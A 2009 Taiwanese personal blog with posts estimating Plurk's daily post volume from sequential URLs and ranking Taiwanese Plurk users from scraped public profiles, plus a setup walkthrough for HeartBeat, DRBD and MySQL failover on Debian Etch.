小歪碎碎念

2009-02-18

2009-02-18 Plurk一天產生多少則新訊息?

因為每則Plurk(噗)都有一個獨立網址,
像是 http://www.plurk.com/p/gj24u 這樣的url.

所以做了一個小實驗,同時開三個瀏覽器視窗,然後把要發的Plurk先打好以後連續發出
結果得到的三個Plurk為
http://www.plurk.com/p/giz1i

http://www.plurk.com/p/giz1j

http://www.plurk.com/p/giz1m

這三個URL尾碼依序是giz1i giz1j (中間稍微慢了一下下,所以 giz1k giz1l被搶走了) giz1m .

由這實驗結果推測,每一個噗的獨立頁面url後面那五位英文/數字組合應該屬於流水號排序,
再經過與其他獨立頁面的尾碼比對驗證後得到的結論是,url的五位尾碼每一位為10個數字+26個英文字母的組合(0-9 a-z) 可視為36進位, 也就是目前五位的url組合共可容納 36^5 = 60,466,176 個噗的獨立url.

推測出這個規則以後,興起了一個統計一天大約總共有多少plurk的想法.
做法非常簡單,先抓出一個大約時間內的plurk url尾碼區間,再以基本的二分逼近法找出我所想要的時間點的plurk url尾碼. 這樣只要有兩個時間點的plurk url尾碼就能估出該段時間內共有多少個plurk ulr被產生=所有plurker總共發了多少的plurk.

這邊時區以UTC為準,以 2009-02-13(週五) ~ 2009-02-16(週一)
這四天的00:00 ~ 23:59 作為計算區間找出的結果是
2009-02-13 00:00 第一噗的url尾碼為 g014p 將36進位換算為10進位= 26,875,321
2009-02-13 23:59 最後一噗的url尾碼為 g48nk 將36進位換算為10進位= 27,071,696
相減得出2009-02-13 (週五)這天所有plurkers總共發了 196,375個噗
2009-02-14 00:00 第一噗的url尾碼為 g48nl 將36進位換算為10進位= 27,071,697
2009-02-14 23:59 最後一噗的url尾碼為 g7u7o 將36進位換算為10進位= 27,239,604
相減得出2009-02-15 (週六)這天所有plurkers總共發了 167,907 個噗
2009-02-15 00:00 第一噗的url尾碼為 g7u7p 將36進位換算為10進位= 27,239,605
2009-02-15 23:59 最後一噗的url尾碼為 gbi3y 將36進位換算為10進位= 27,410,542
相減得出2009-02-15 (週日)這天所有plurkers總共發了 170,937 個噗
2009-02-16 00:00 第一噗的url尾碼為 gbi3z 將36進位換算為10進位= 27,410,543
2009-02-16 23:59 最後一噗的url尾碼為 gfl02 將36進位換算為10進位= 27,600,914
相減得出2009-02-16 (週一)這天所有plurkers總共發了190,371 個噗

從這四天得到的結果可以歸納出的結論為:

Plurk在工作日(一~五)一天約有19萬多個新噗產生,

而在假日(週六日)一天大概約有16萬多個新噗產生 .

以上推測出來的結果缺乏官方資料驗證,故僅供參考..XD
PS: 剛試著往前撈,還能挖出2007年12月時Plurk開發團隊的一些測試噗咧 ^^"

2009-02-13

2009-02-13 Taiwan Plurkers Rank

繼前幾天的Plurk國籍/Karma排名分析後,今天又針對PLURK搜尋頁中以TAIWAN搜出來的USER來做進一步的資料分析.

此次PLURK帳號清單是以上次處裡(2009-02-05)時抓回的44754筆帳號,扣掉當時Karma為0的30722之後所剩的14032筆帳號為基準.
(此份帳號清單其實並不完全準確,因為是依賴plurk在某個時間點所產出的,而且若USER基本資料內沒有Taiwan的關鍵字就不會出現在這裡面,有興趣的朋友可以到http://www.plurk.com/search 輸入 "Taiwan 帳號" 來看看自己是否在這清單之內)

2009-02-13將這14032筆帳號的plurk頁面( http://www.plurk.com/OOXX )抓回進行後續分析處裡, 由公開的plurk個人頁面可得到的資訊如下 :
NickName-(帳號),UID-(PLURK使用者編號),gender-(性別) ,fans-(粉絲數), friends-(好友數), Karma-(Karma值), Profile View-(個人資料頁面瀏覽數), Friend invited-(邀請朋友數), Plurks-(發過的Plurk數),Responses-(回應過的次數),since-(帳號創立時間),last login-(最後登入時間)

另外在實際抓取資料的過程中發現在14032筆的清單中有16個帳號是沒有資料的
( ex: BlueHill這個帳號在搜尋頁有1 筆紀錄但卻無資料,可能是在2009-02-05~2009-02-12之間被刪除的帳號所以2009-02-05有抓到他的karma資料但2009-02-12就消失了)

扣掉這16個消失帳號後剩下的14016筆就是本次台灣Plurkers資料抓取標的.

此次Taiwan Plurkers 14016筆個人公開資料的撈取時間為 2009-02-13 00:15 ~ 2009-02-13 05:37

經過處裡之後的一些排名相關資料如下

1.最早加入PLURK的Taiwan User(以隱藏值UID進行排序).

Account	UID	Since
tino	8551	May-08
nepttako	8785	May-08
vista	13177	Jun-08
buzzjiang	14211	Jun-08
maxchu	15808	Jun-08
kenworker	16116	Jun-08
cloudy1222	16154	Jun-08
angelsmileoo	16272	Jun-08
mitnik	18688	Jun-08
alice425	19088	Jun-08

2. Fans粉絲數前10名

NickName	fans	friends	Karma	Profile View	Friend invited	Plurks	Responses	since
briian	1991	528	88.67	15876	564	1109	3362	Jun-08
bonobo	1443	2938	83.37	15114	7	1190	21713	Jun-08
dogg	880	1992	82.21	26731	573	670	4472	Jun-08
KateJ	747	1031	97.8	20842	38	1024	4810	Jun-08
jason21	712	28	36.9	565	1	110	393	Jul-08
siaoyu	662	60	50.53	1118	0	116	610	Sep-08
erica10591	658	3	43.68	1083	2	172	390	Oct-08
yolla	657	41	75.6	800	0	284	1270	Oct-08
esorhjy	654	713	78.4	12843	360	436	1059	Jun-08
toysRus	625	116	95.83	19554	197	836	7704	Jul-08

3.Friends好友數前10名

NickName	fans	friends	Karma	Profile View	Friend invited	Plurks	Responses	since
bonobo	1443	2938	83.37	15114	7	1190	21713	Jun-08
IamKaKi	41	2212	61.61	10036	2	289	4476	Oct-08
dogg	880	1992	82.21	26731	573	670	4472	Jun-08
orden	21	1200	81.68	5340	7	848	17220	Jun-08
Jojam	545	1097	76.25	12402	360	94	4212	Oct-08
ioio	36	1044	34.4	4508	1	519	4756	Jul-08
KateJ	747	1031	97.8	20842	38	1024	4810	Jun-08
turnturn	36	884	63.45	6580	2	1195	13207	Jun-08
mitnik	199	871	60.22	4577	5	636	2178	Jun-08
itemark	18	777	69.74	5394	0	2467	11616	Nov-08

4.Karma 前10名

NickName	fans	friends	Karma	Profile View	Friend invited	Plurks	Responses	since
andytn	181	711	100	8286	22	3883	6777	Jun-08
CGS	141	509	100	11096	21	1507	15168	Jun-08
ClubEddy	234	271	100	5683	39	2529	7274	Jun-08
chapters	58	179	99.79	3621	5	1573	8954	Jun-08
tsukiei	68	73	99.5	1836	0	2525	45399	Jul-08
sanyuan	14	215	99.48	3858	5	1498	33843	Jun-08
bear0531	125	226	99.34	5217	42	1878	31892	Jul-08
pomelo	35	234	99	3966	5	1463	13117	Jun-08
lman	119	81	98.78	3265	10	2050	8767	Jun-08
randy325	69	132	98.61	3186	4	773	27740	Jul-08

5.Profile View檔案檢視前10名

NickName	fans	friends	Karma	Profile View	Friend invited	Plurks	Responses	since
ashleywei	374	61	96.49	32156	144	1561	11665	Jun-08
dogg	880	1992	82.21	26731	573	670	4472	Jun-08
billypan	224	726	96.25	23628	95	1018	8144	Jul-08
paperdodo	0	1	6.13	22436	0	1233	0	Nov-08
KateJ	747	1031	97.8	20842	38	1024	4810	Jun-08
toysRus	625	116	95.83	19554	197	836	7704	Jul-08
subing	113	694	79.32	16205	140	1560	31281	Jun-08
briian	1991	528	88.67	15876	564	1109	3362	Jun-08
bonobo	1443	2938	83.37	15114	7	1190	21713	Jun-08
jeremy_3c	348	496	95.32	14632	242	1060	7207	Jun-08

6.Friend invited邀請朋友數前10名

NickName	fans	friends	Karma	Profile View	Friend invited	Plurks	Responses	since
dogg	880	1992	82.21	26731	573	670	4472	Jun-08
briian	1991	528	88.67	15876	564	1109	3362	Jun-08
esorhjy	654	713	78.4	12843	360	436	1059	Jun-08
Jojam	545	1097	76.25	12402	360	94	4212	Oct-08
jeremy_3c	348	496	95.32	14632	242	1060	7207	Jun-08
XYZ007	101	299	90.44	1574	241	535	9989	Nov-08
toysRus	625	116	95.83	19554	197	836	7704	Jul-08
miawko	178	291	56.21	6666	178	507	9040	Jun-08
Formosa	37	424	96.18	2149	171	490	2009	Sep-08
ashleywei	374	61	96.49	32156	144	1561	11665	Jun-08

7.發Plurk數(最會碎碎念)前10名
在處裡這個排序時發現有12個帳號顯示異常,Plurks數都顯示4294967295 可能是PLURK秀逗了吧,囧rz.. 異常的12個帳號分別是 :
lusasa1002 annie0606 liaomeow chenpochang dennis99 ying_wei
dofu0128 MartinFang iop0926520 pinkmeow sweetchaio Leila_chou
排除掉這12個異常帳號後的排名如下

NickName	fans	friends	Karma	Profile View	Friend invited	Plurks	Responses	since
yongwei_robot	60	62	94.54	2309	1	5365	83200	Jul-08
kaygenius	25	38	87.71	1541	0	4011	7545	Jul-08
andytn	181	711	100	8286	22	3883	6777	Jun-08
HungMingWu	72	74	96.22	2049	4	3518	8659	Jun-08
RoronoaZoro	25	78	97.23	2329	3	3333	10704	Jul-08
StrawberryMilkTea	9	38	80.82	1728	1	3310	11683	Jun-08
funnyshian	87	193	95.98	3238	4	3106	16302	Jun-08
lazymeg	150	386	97.35	12580	37	2910	13968	Jul-08
kej	7	31	75.98	378	0	2705	82	Sep-08
tchang5168	38	441	91.92	5151	2	2667	10876	Jun-08

8.Responses回應數(最愛湊熱鬧)前10名

NickName	fans	friends	Karma	Profile View	Friend invited	Plurks	Responses	since
jo0322	60	86	94.94	5389	2	787	86815	Aug-08
yongwei_robot	60	62	94.54	2309	1	5365	83200	Jul-08
nicaliu	66	73	95.07	3291	6	2592	54156	Sep-08
tsukiei	68	73	99.5	1836	0	2525	45399	Jul-08
MissOdd	32	76	82.9	2258	1	639	42040	Sep-08
brianyang2	0	2	4.82	46	0	0	41986	Jan-09
amy_0210	13	93	84.95	3668	2	540	40913	Jul-08
winner	38	250	74.28	9711	10	266	39966	Jun-08
angelghost	19	115	95.52	2849	3	598	39912	Jul-08
brianyang	0	19	54.25	124	1	70	36934	Nov-08

9.其他數據:
在這14016個帳號中

男:5831 女:8185
Karma總值為613,582 ,平均每人Karma為43.77
Plurks總數為2,691,478 ,平均每人發192噗
Responses(回應)總數為19,385,306 ,每人平均回應數為1383
平均每人有7.69個Fans粉絲,23.2個朋友

不過看來最厲害的還是那位超猛日本人妻酪梨壽司 XD..

NickName	fans	friends	Karma	Profile View	Friend invited	Plurks	Responses	since
cwyuni	2337	2670	100	155743	1402	1476	11651	Jun-08

匯整過的詳細資料可至GOOGLE DOC查閱

後記:
1.因為PLURK沒有提供相關功能或API,以上資料都是硬抓出來的,而且由於基礎帳號清單本身準確度就有限,所以這份資料僅供娛樂參考~^^
短期內大概也不會再抓了,因為這樣搞會造成SERVER多餘的負擔(光這一萬四千多筆就要392M),是系統網管最討厭的行為~XD
2.Plurk的Design lead alvin http://www.plurk.com/alvin 現在好像在台灣
http://www.plurk.com/p/g1n4c
alvin says wants to organize a taiwanese plurkers meet up but don't know where to start...
alvin says if any taiwanese sees this message, feel free to email me at alvin@plurk.com maybe we can set something up.
個人覺得果子咖啡應該可以站出來~~ XD

2009-02-06

2009-02-06 Taiwan Plurkers Karma analysis

繼上一篇從Plurk搜尋頁挖出來的有趣統計資料之後,我對這 44916 筆 Taiwan 的人物搜尋結果產生了點興趣.
今天就寫個小程式來抓Plurkers搜尋頁中標記有Taiwan 的USER資料回來進行分析,
Plurkers搜尋頁處裡是每頁吐10個Plurkers的資料(格式範例)交給前端的js進行處裡,所以我這邊直接用模擬http post的方式去單抓用戶資料,因為Taiwan的搜尋結果有44916筆,所以總共得作4492次的post才能抓完全部資料,等全部資料抓回來以後在本地進行分析,另外還在每次post之間做了兩秒的間隔以避免太大量的request會把Plurk搞壞.
整個資料抓取的時間是 ~~2006~~2009-02-05 22:14 ~ ~~2006~~2009-02-06 00:52,如果這段期間plurk有卡卡的話~~絕對不是我幹的啦~~
抓完要開始做後續分析時才發現並不是每一頁都有10筆資料的,雖然清單上顯示的是44916筆,但是實際上抓出來的Plurkers只有44754筆.
像是第六頁圖備份就只有9筆資料, 第1467頁圖備份就只有8筆資料,實際抓回來的資料跟清單上列出的差了162筆.

接下來針對這44754筆資料作Karma的排序&分析
雖然plurkers搜尋網頁上顯示的Karma只有到小數點後一位(個人頁面中的Karma是顯示到小數點後二位),不過實際吐出來的資料最多有到小數點後18位 (EX: 0.089999999999999997)
以下是針對Karma值進行區段分析.

Karma	人數	%
0 (0.0)	30722	68.65%
0.01~9.99	1732	3.87%
10~19.99	1154	2.58%
20~29.99	1294	2.89%
30~39.99	1419	3.17%
40~49.99	2611	5.83%
50~59.99	2024	4.52%
60~69.99	1779	3.98%
70~79.99	867	1.94%
80~89.99	939	2.10%
90~99.99	212	0.47%
Karma 100	1	ClubEddy

注.那位Karma滿百好友兩千六粉絲兩千三的超猛日本人妻並不在台灣清單內,而是在日本清單之中

扣掉Karma完全為0的三萬多以後的結論是:
估計其實台灣真正有在活動的Plurker最多只有一萬多人而已,這個第三名44916的數字水分實在是高了點.

ps:
1.當我寫到這的時候(2009-02-06 02:50)再去Taiwan Karma第一頁看了下, 第二名無敵小恩恩在排名頁上顯示也是100圖備份,不過在無敵小恩恩個人頁面是顯示99.96圖備份,他實際的Karma值是99.959999999999994,
所以可以推出Karma值小數點後超過的部份是四捨五入的.而我在(2009-02-05 22:14) 抓回來的資料中無敵小恩恩的Karma值是99.950000000000003 ,這代表這份清單在產生出來之後,裡面的資料是即時的.
2.因為這個國家資料完全是依賴使用者自行選擇輸入的,所以並非100%正確,不過應該還是有一定程度的參考價值.
3.寫完以後真的覺得~~我實在是吃飽撐著了啊~~

2009-02-04

從Plurk搜尋頁挖出來的有趣統計資料

這陣子玩Plurk玩的有點兇,
因為Plurk的互動性比Twitter強,又不像MSN之類的IM軟體有時間上的壓力.所以就容易讓人沉迷了~
前幾天Karma剛衝到81拿到太極圖 ,來慶祝一下寫個文當做記錄.
不過關於Plurk的介紹已經有不少熱心人士寫過了,像是從微網誌到微社群的Plurk 這篇有探討到Plurk的社群人數就是個不錯的切入點,
這就來點不一樣的東西好了.

在Plurk的搜尋其他的 plurker頁面可以依據國家來選擇搜尋plurkers的清單.

而Plurk個人設定中的國家(Country)清單中共有235個選項,
把這235個國家抓出後用個簡單的script把Conutry代入後抓出以這235個國家來搜尋plurkers的結果數字.

當然這資料數字僅供娛樂參考,因為無法得知Plurk是何時統計這些資料的,而且搜尋的字串如果有出現在plurker個人資料的其他地方也會抓出來,經實測部分數字也不準確.
EX: 搜尋阿富汗的女性顯示出來的結果是13筆,但是翻到第二頁才發現實際上只有11筆資料

所以很多國家/地區分別搜尋男/女出來的數字相加並不等於不分性別搜尋出來的總數.

從這份數字裡面可以看到幾個有趣的現象:

Plurkers數冠軍居然是菲律賓.
台灣的Plurkers數排名第三(沒去仔細研究,不過推測應該有一些是被拿來灌邀請數衝Karma的無用帳號,像是這頁圖備份就很明顯),而且從數字看來女(24077)比男(21901)多(真實性有待商榷就是了).
前十名的國家裡面東/南亞佔了一半
所有搜出來的235個國家不分性別數加總為 267789 ,如果這是真實的Plurkers的數量的話那就遠低於我的預期.
前四名菲律賓,美國,台灣,印尼的人數191694佔了總人數267789的71.58%
國家選項中居然有World of Warcraft =_=""

以下就是從Plurk的Search for other plurkers頁面挖出來的一些統計資料,並依據不分性別/年齡出來的結果進行排序,資料蒐集統計的時間為2009-02-04 16:00

排名	不分性別數	Country	女性	男性
1	63554	Philippines	38960	30989
2	51857	United States	27115	24709
3	44916	Taiwan	24077	21901
4	31367	Indonesia	16060	16476
5	9762	Malaysia	6113	4760
6	9741	China	4988	5932
7	5656	Brazil	3057	2758
8	5250	Great Britain (UK)	2350	2896
9	4801	Canada	2571	2341
10	3299	Australia	1856	1609
11	2419	Russian Federation	747	1671
12	2406	Singapore	1676	1173
13	2209	Spain	1131	1471
14	1837	Japan	941	922
15	1768	France	905	1093
16	1749	Italy	896	1116
17	1662	India	851	1337
18	1359	Germany	696	888
19	1270	Hungary	650	720
20	1255	Mexico	643	749
21	1213	Czech Republic	950	263
22	1035	Netherlands	530	622
23	978	Norway	501	483
24	911	Hong Kong	560	350
25	768	Saudi Arabia	368	400
26	748	United Arab Emirates	433	315
27	586	Ecuador	300	355
28	540	Brunei Darussalam	433	106
29	527	Argentina	270	340
30	507	Chile	260	342
31	489	Belgium	250	327
32	480	Ukraine	246	342
33	479	Venezuela	245	289
34	415	Second life	284	130
35	414	Thailand	212	219
36	396	Sweden	203	235
37	336	Turkey	172	245
38	329	Portugal	168	207
39	321	Slovak Republic	240	81
40	320	Romania	164	214
41	305	Poland	156	162
42	291	Greece	149	168
43	272	Ireland	139	157
44	264	Israel	135	187
45	259	Iran	133	184
46	250	Korea (South)	143	107
47	249	Jordan	127	160
48	241	Denmark	123	147
49	241	Pakistan	123	191
50	240	Austria	123	136
51	234	Switzerland	120	142
52	230	New Zealand (Aotearoa)	126	104
53	224	Belarus	115	141
54	224	Viet Nam	70	154
55	223	Egypt	114	148
56	212	Peru	109	149
57	209	Macau	121	102
58	208	Finland	106	108
59	178	Qatar	91	87
60	136	Chad	70	123
61	127	South Africa	46	81
62	92	Jamaica	61	45
63	90	Bulgaria	46	52
64	82	Croatia (Hrvatska)	34	48
65	74	Colombia	38	46
66	65	Christmas Island	51	14
67	59	Georgia	36	29
68	57	Bahrain	29	29
69	56	Lebanon	29	32
70	55	Estonia	28	27
71	52	Antarctica	27	25
72	50	Bolivia	26	36
73	49	Panama	25	24
74	48	Puerto Rico	32	15
75	48	Tunisia	25	32
76	47	Morocco	24	37
77	46	Latvia	24	27
78	46	Nigeria	24	31
79	46	World of Warcraft	27	19
80	45	Kazakhstan	23	30
81	43	Costa Rica	19	24
82	42	Iceland	25	20
83	40	Lithuania	21	20
84	39	Oman	20	23
85	38	Bangladesh	19	27
86	37	Dominican Republic	19	18
87	37	Ghana	19	24
88	37	Trinidad and Tobago	21	16
89	37	Zimbabwe	21	18
90	34	Guam	25	9
91	32	Uruguay	9	22
92	30	Cuba	15	18
93	30	Kenya	15	15
94	30	Virgin Islands (U.S.)	18	12
95	29	Iraq	15	17
96	29	Madagascar	20	9
97	29	Vatican City State (Holy See)	19	10
98	28	Luxembourg	14	14
99	28	Macedonia	14	15
100	27	Bahamas	20	7
101	27	Guatemala	4	23
102	27	Serbia	14	17
103	26	Cyprus	15	13
104	26	El Salvador	9	17
105	26	Palestine	9	17
106	25	Afghanistan	13	14
107	25	Bosnia and Herzegovina	14	11
108	25	Kuwait	13	15
109	25	Moldova	13	15
110	25	Senegal	21	4
111	23	Guinea	14	9
112	23	Honduras	12	13
113	23	Sri Lanka	4	19
114	23	Syria	8	15
115	22	Virgin Islands (British)	13	9
116	22	Yemen	7	15
117	21	Monaco	11	10
118	20	Algeria	3	17
119	20	Barbados	14	6
120	20	Mali	14	6
121	20	Nicaragua	8	12
122	20	Paraguay	11	9
123	19	Fiji	9	10
124	19	Montenegro	10	9
125	19	Nepal	6	13
126	18	Bermuda	5	13
127	18	Greenland	15	3
128	15	Cambodia	9	6
129	15	Samoa	7	8
130	15	Western Sahara	6	9
131	14	Armenia	5	9
132	14	Maldives	9	5
133	13	Ethiopia	8	5
134	13	Slovenia	8	5
135	12	Cayman Islands	5	7
136	12	Cook Islands	9	3
137	12	Reunion	6	6
138	12	St. Pierre and Miquelon	6	6
139	12	Uzbekistan	4	8
140	11	Andorra	5	6
141	11	Azerbaijan	5	6
142	11	Mauritius	3	8
143	11	Palau	6	5
144	11	Saint Kitts and Nevis	8	3
145	11	Togo	8	3
146	11	Uganda	4	7
147	10	Belize	8	2
148	10	Malta	7	3
149	10	Seychelles	9	1
150	10	Zambia	4	6
151	9	Albania	3	6
152	9	American Samoa	5	4
153	9	Cote d'Ivoire, Republic of	5	4
154	9	Dominica	6	3
155	9	Haiti	4	5
156	9	Korea (North)	6	3
157	9	Montserrat	8	1
158	9	Myanmar	4	5
159	9	Niger	6	3
160	9	Tanzania	1	8
161	8	Guyana	3	5
162	8	Kyrgyzstan	3	5
163	8	Liechtenstein	4	4
164	8	Papua New Guinea	3	5
165	7	Aruba	3	4
166	7	Botswana	2	5
167	7	Congo	2	5
168	7	San Marino	2	5
169	7	Turkmenistan	6	1
170	7	Wallis and Futuna Islands	0	0
171	6	Angola	5	1
172	6	Benin	5	1
173	6	Cocos (Keeling) Islands	4	2
174	6	Laos	2	4
175	6	Mongolia	4	2
176	6	Niue	4	2
177	6	Rwanda	3	3
178	6	Somalia	2	4
179	6	Tajikistan	4	2
180	6	Tuvalu	2	4
181	5	Djibouti	4	1
182	5	Gibraltar	2	3
183	5	Mozambique	3	2
184	5	Namibia	2	3
185	5	New Caledonia	3	2
186	5	Saint Vincent and the Grenadines	3	2
187	5	Sao Tome and Principe	2	3
188	5	Sierra Leone	4	1
189	5	Sudan	2	3
190	5	Swaziland	3	2
191	5	Tonga	3	2
192	4	Antigua and Barbuda	2	2
193	4	Burkina Faso	2	2
194	4	Cameroon	2	2
195	4	French Polynesia	3	1
196	4	Libya	1	3
197	4	Suriname	2	2
198	4	Vanuatu	2	2
199	3	Anguilla	2	1
200	3	Bhutan	0	3
201	3	British Indian Ocean Territory	2	1
202	3	Cape Verde	2	1
203	3	Congo, The Democratic Republic of the	0	3
204	3	French Guiana	3	0
205	3	Grenada	1	2
206	3	Guadeloupe	0	3
207	3	Malawi	1	2
208	3	Marshall Islands	0	0
209	3	Micronesia	2	1
210	3	Norfolk Island	1	2
211	3	Northern Mariana Islands	2	1
212	3	Saint Lucia	3	0
213	3	Svalbard and Jan Mayen Islands	2	1
214	2	Falkland Islands (Malvinas)	2	0
215	2	French Southern Territories	2	0
216	2	Guinea-Bissau	2	0
217	2	Kiribati	2	0
218	2	Lesotho	1	1
219	2	Mauritania	1	1
220	2	Mayotte	1	1
221	2	Nauru	2	0
222	2	Netherlands Antilles	1	1
223	1	Burundi	1	0
224	1	Comoros	1	0
225	1	Eritrea	0	1
226	1	Gambia	0	1
227	1	Liberia	0	1
228	1	St. Helena	1	0
229	1	Tokelau	0	1
230	0	Central African Republic	0	0
231	0	Equatorial Guinea	0	0
232	0	Faroe Islands	0	0
233	0	Gabon	0	0
234	0	Martinique	0	0
235	0	Turks and Caicos Islands	0	0
Sum	267789		147113	135884

2009-01-21

HeartBeat+DRBD+MySQL on Debian Etch 建置/測試筆記

HeartBeat(2.1.3-6)+DRBD(2:8.3.0-1)+MySQL on Debian Etch 建置/測試筆記

一般在處裡網路服務的系統架構時,如何做到高可用性及即時備援機制一直都是一個重要課題,一般常見的架構是USER-WEB-DB,目前面向USER的WEB SERVER要做到LoadBalance/Failover已經有很多可運用且方便的手段,但後端的資料庫如果要做到Failover就稍微麻煩了些,以下就對MySQL資料庫搭配HeartBeat/DRBD的即時備援機制來作一個簡單的建置/測試紀錄.
其中相關設定是經過實測所得,若有不夠完備須修正調整之處還請各位不吝提供意見.

DRBD (Distributed Replicated Block Device) http://www.drbd.org/
是透過網路即時同步的Block Device,可視同為透過網路進行即時同步的Raid-1,架構示意圖如下(來源為DRBD網站)

DRBD搭配HeartBeat可建構高可用性(HA-high availability)的服務
如將MySQL的DATA FILE放到DRBD上,配合HeartBeat控管可作到MySQL高可用性的即時同步與Failover備援切換.
(其實還是會有down time,不過如果跟MySQL replication的Master/Slave模式在一般情況下需人工介入切換相比,可算是方便省事多了)

架構設定說明:

建置/測試環境:
OS: Debian Etch 4.0
/dev/sdb1 4GB for drbd use

NODE-A (Primary)
eth0 192.168.1.11 Real_IP(R_IP)
eth0:0 192.168.1.10 Service_IP(S_IP) 由HeartBeat控管作為主要提供服務的IP
eth1 192.168.100.11 Private_IP (P_IP) 對接供DRBD傳輸用

NODE-B (Secondary)
eth0 192.168.1.12 Real_IP(R_IP)
eth0:0 192.168.1.10 Service_IP(S_IP) 由HeartBeat控管作為主要提供服務的IP
eth1 192.168.100.12 Private_IP (P_IP) 對接供DRBD傳輸用

DRBD編譯/安裝

因為Debian etch內的drbd7太舊了(0.7.21-4), etch-backports上的是drbd8_8.0.14-2,乾脆直接從sid那抓最新(drbd8_8.3.0-1)的source package http://packages.debian.org/source/sid/drbd8回來重編kernel-module.
(懶得自己重編也可以直接到http://www.linbit.com/support/drbd-8.3.0/debian-etch/ 去找出搭配當前kernel版本的deb檔回來直接裝)

建立drbd8 source package重包的工作目錄.
mkdir /usr/src/drbd8_8.3.0-1
cd /usr/src/drbd8_8.3.0-1
把drbd8_8.3.0-1 的source package抓回來
wget http://ftp.de.debian.org/debian/pool/main/d/drbd8/drbd8_8.3.0-1.dsc
wget http://ftp.de.debian.org/debian/pool/main/d/drbd8/drbd8_8.3.0.orig.tar.gz
wget http://ftp.de.debian.org/debian/pool/main/d/drbd8/drbd8_8.3.0-1.diff.gz
安裝重包drbd8所需必要套件
apt-get install debhelper dh-make dpkg-dev debconf-utils gcc sp bison flex dpatch bzip2 libc6-dev docbook-utils module-assistant linux-headers-2.6-686
解開 source package
dpkg-source -x drbd8_8.3.0-1.dsc
進入解開目錄
cd /usr/src/drbd8_8.3.0-1/drbd8-8.3.0/
重新編譯包
dpkg-buildpackage
包完會產生 drbd8-source_8.3.0-1_all.deb & drbd8-utils_8.3.0-1_i386.deb
把這兩個deb裝起來
dpkg -i /usr/src/drbd8_8.3.0-1/drbd8-utils_8.3.0-1_i386.deb /usr/src/drbd8_8.3.0-1/drbd8-source_8.3.0-1_all.deb
產生drbd8 kernel module
module-assistant auto-build drbd8
可以簡化為
m-a a-b drbd8
依照目前kernel版本重編好的drbd8 kernel module 位置 /usr/src/drbd8-2.6.18-6-686_8.3.0-1+2.6.18.dfsg.1-23etch1_i386.deb
把剛編好的drbd8 module裝上
dpkg -i /usr/src/drbd8-2.6.18-6-686_8.3.0-1+2.6.18.dfsg.1-23etch1_i386.deb
(可以在其中一台作重包的動作,做完後再把 drbd8-utils_8.3.0-1_i386.deb & drbd8-2.6.18-6-686_8.3.0-1+2.6.18.dfsg.1-23etch1_i386.deb 丟到另一台安裝即可)

HeartBeat 編譯/安裝

Debian etch內的heartbeat-2 (2.0.7-2) 沒有支援dopd (DRBD outdate-peer daemon),所以也去http://packages.debian.org/source/sid/heartbeat 抓新版的2.1.4-3source package回來重包

建立heartbeat-2 source package重包的工作目錄.
mkdir /usr/src/heartbeat-2.1.3-6
cd /usr/src/heartbeat-2.1.3-6
把heartbeat_2.1.3-6 的source package抓回來
wget http://ftp.de.debian.org/debian/pool/main/h/heartbeat/heartbeat_2.1.3-6.dsc
wget http://ftp.de.debian.org/debian/pool/main/h/heartbeat/heartbeat_2.1.3.orig.tar.gz
wget http://ftp.de.debian.org/debian/pool/main/h/heartbeat/heartbeat_2.1.3-6.diff.gz
安裝重包heartbeat_2所需必要套件
apt-get install libsnmp-dev libglib2.0-dev psmisc libnet1-dev iproute libtool libcurl3-openssl-dev libxml2-dev uuid-dev lynx libbz2-dev zlib1g-dev uuid-dev libsensors-dev libltdl3-dev swig libgnutls-dev python-dev libpam0g-dev libncurses5-dev psmisc libopenhpi-dev python-central gawk libxml2-utils
解開 source package
dpkg-source -x heartbeat_2.1.3-6.dsc
進入解開目錄
cd /usr/src/heartbeat-2.1.3-6/heartbeat-2.1.3
重新編譯打包
dpkg-buildpackage
(視需求可以去改 heartbeat-2.1.3/debian/control ,像我只需要 heartbeat就只留下Package: heartbeat那段,可以省點時間)
包完後只要裝heartbeat_2.1.3-6_i386.deb即可
dpkg -i /usr/src/heartbeat-2.1.3-6/heartbeat_2.1.3-6_i386.deb
(可以在其中一台作重包的動作,做完後再把 heartbeat_2.1.3-6_i386.deb 丟到另一台安裝即可)

MySQL Server安裝

如果沒有特殊需求就直接用 apt-get install mysql-server 安裝
裝完後把開機啟動的MySQL 相關服務取消,以便之後交由HeartBeat控管 (可以裝sysv-rc-conf來處裡比較省事)
mv /etc/rc2.d/S17mysql-ndb-mgm /etc/rc2.d/K23mysql-ndb-mgm
mv /etc/rc2.d/S18mysql-ndb /etc/rc2.d/K22mysql-ndb
mv /etc/rc2.d/S19mysql /etc/rc2.d/K21mysql

DRBD設定

編輯NODE-A & NODE-B上的
/etc/drbd.conf


common {
  syncer {
      rate 100M;
  }
}
resource r0 {
  protocol C;
  handlers {
      pri-on-incon-degr "echo o > /proc/sysrq-trigger ; halt -f";
      pri-lost-after-sb "echo o > /proc/sysrq-trigger ; halt -f";
     local-io-error "echo o > /proc/sysrq-trigger ; halt -f";
      outdate-peer "/usr/lib/heartbeat/drbd-peer-outdater -t 6";
      pri-lost "echo pri-lost. Have a look at the log files. | mail -s 'DRBD Alert' root";
      split-brain "/usr/lib/drbd/notify-split-brain.sh root";
      out-of-sync "/usr/lib/drbd/notify-out-of-sync.sh root";
  }
  syncer {
      verify-alg md5;
  }
  disk {
      on-io-error detach;
      fencing resource-only;
  }
  startup {
      wfc-timeout 120;
      degr-wfc-timeout 120;
  }
  on NODE-A {
      device /dev/drbd0;
      disk /dev/sdb1;
      address 192.168.100.11:7788;
      meta-disk internal;
  }
  on NODE-B {
      device /dev/drbd0;
      disk /dev/sdb1;
      address 192.168.100.12:7788;
      meta-disk internal;
  }
}

因為裡面用到了heartbeat的dopd(DRBD outdate-peer daemon),
所以需要針對幾個drbd管理程式作權限調整
chgrp haclient /sbin/drbdsetup
chmod o-x /sbin/drbdsetup
chmod u+s /sbin/drbdsetup
chgrp haclient /sbin/drbdmeta
chmod o-x /sbin/drbdmeta
chmod u+s /sbin/drbdmeta

初始化 resource r0
分別在NODE-A & NODE-B執行
drbdadm create-md r0

啟動DRBD service
分別在NODE-A & NODE-B執行
/etc/init.d/drbd start

檢視DRBD 狀態

=====由/proc/drbd 看到的狀態,因為尚未初始同步所以是Inconsistent/Inconsistent=====

初始化同步r0,將NODE-A設為primary
在NODE-A上以它的資料為基準開始同步
drbdadm -- --overwrite-data-of-peer primary r0
初始同步進行時 NODE-A的狀態

初始同步過程中 NODE-B的 /proc/drbd 資訊

初始同步過程中 NODE-B的eth1資料傳輸統計

在NODE-A的syslog中可以看到初始同步完之後的資訊

